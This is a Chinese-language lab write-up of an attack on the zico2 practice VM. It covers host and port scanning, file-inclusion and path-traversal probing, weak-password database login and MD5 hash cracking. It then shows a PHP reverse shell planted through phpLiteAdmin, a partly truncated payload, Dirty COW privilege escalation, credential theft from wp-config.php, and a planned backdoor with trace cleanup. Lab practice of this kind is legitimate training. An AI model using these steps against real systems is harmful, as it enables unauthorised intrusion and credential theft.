一. 实验环境
二. 实验流程
三. 实验步骤
(一)信息收集——主机发现
1. 查看Kali的IP信息;(IP:192.168.37.131)
2. 扫描主机(netdiscover)
(二)信息收集——端口扫描
1. 扫描端口(masscan)
2. 详细扫描端口信息(nmap)
(三)渗透测试
80端口(http服务)
1. 访问目标靶机的80端口
2. 网站目录扫描(dirb)
3. 查看扫描到的网站目录
4. 查看数据库中的信息;
5. 尝试使用ssh登录
6. 命令注入漏洞和文件包含漏洞的利用;
7. 脏牛提权
8. 去看看其他用户的目录下有什么文件;
9. 留后门,清痕迹;
四. 实验总结
- 靶机:zico2,IP地址暂时未知;
- 测试机:Kali,IP地址:192.168.37.131;
- 测试机:物理机win7;
- 信息收集——主机发现
- 信息收集——端口扫描
- 渗透测试
netdiscover -i eth0 -r 192.168.37.0/24
Netdiscover: -i 指定网卡 -r 指定网段
masscan --rate=10000 --ports 0-65535 192.168.37.144
扫描发现目标开放了22,80,111,51681端口;
nmap 192.168.37.145 -sV -T4 -O -p 22,80,111,51681
22(ssh),80(http),111(rpcbind),51681(status);
1.1> 查看http服务首页信息;
http://192.168.37.145
1.2> 查看可以点击的页面,寻找有价值的信息;
http://192.168.37.145/view.php?page=tools.html
可以看到链接后面有?page= tools.html,猜想:是否该页面包含文件包含漏洞;
文件包含漏洞的特征:?page=,?file=,?home=;
1.3> 尝试文件包含漏洞;
http://192.168.37.145/view.php?page=/etc/passwd
将抓取到的包导入repeater;
那是不是就不存在文件包含漏洞呢? 对于这种情况,我们可以再做一个尝试;
将抓取到的数据包导入repeater;
- 该网站存在文件包含漏洞;
- 如果不能直接查看到/etc/passwd下的内容,可能是因为默认的目录没有在根目录下,可以采用../../../../的方式,使其返回到根目录下;
- 了解到该网站存在文件包含的漏洞,接下来就需要去寻找网站可以访问的目录,利用文件包含漏洞;
dirb http://192.168.37.145
3.1> http://192.168.37.145/css/
3.2> http://192.168.37.145/dbadmin/
- 发现了一个数据库的登录页面,还有对应的版本信息;
- 只有密码;可以采用密码爆破的方式;
尝试用searchsploit phpLiteAdmin去查询对应版本的漏洞;
存在PHP 远程代码注入漏洞;
尝试使用弱口令进行登录数据库;admin
竟然意外的成功登录,所以,弱口令还是很有用的方式;
4.1> 首先查看敏感的信息users表中info;
找到两个用户的信息;
4.2> 尝试使用MD5解密账户的密码;
- 成功获取两个账户:
用户名:root 密码:34kroot34
用户名:zico 密码:zico2215@
- 尝试使用获取到的账户进行ssh登录;
- 两个账户都登录失败;
- 之前检测到该网站的版本存在命令注入漏洞和文件包含漏洞,接下来可以进行尝试;
6.1> 创建一个数据库:test_db;创建一个表:test_table,一个字段信息;
6.2> 尝试去访问创建的数据库中的内容phpinfo();
http://192.168.37.145/view.php?page=../../../../usr/databases/test_db
6.3> 在网站数据库中上传脚本文件获取目标靶机的shell;
创建一个数据库:test;
创建一个表:shell,一个字段信息;
在KALI中添加shell.txt
&3 2>&3");?>
Service apache2 start
在数据库中上传该脚本并执行;
在Kali上监听1234端口;浏览器去访问数据库,成功获取目标的shell;
python -c ‘import pty;pty.spawn(“/bin/bash”)’
将shell转换为交互式的tty;
成功获取到shell后,就需要进行提权操作;
7.1> 将dirty.c文件下载到目标靶机的/tmp目录下;
7.2> 编译,执行
7.3> 查看此时的权限;
8.1> 在zizo的目录下发现了WordPress文件;
8.2> 查看WordPress文件;
wp-config.php 文件是WordPress数据库的关键。数据库名、用户名、密码、位置都是在此设置。
8.3> 查看wp-config.php 文件
获取到用户名:zico,密码:sWfCsfJSPV9H3AmQzw8;
8.4> 利用得到的密码尝试去登录ssh;
成功登录到shell,此时可以继续使用脏牛进行提权,操作如上;
- 如果看到页面可能存在文件包含漏洞,可以使用../../../etc/passwd的方式去尝试;
- 当渗透进系统时,可以查看其它用户的家目录下有什么可以利用的信息;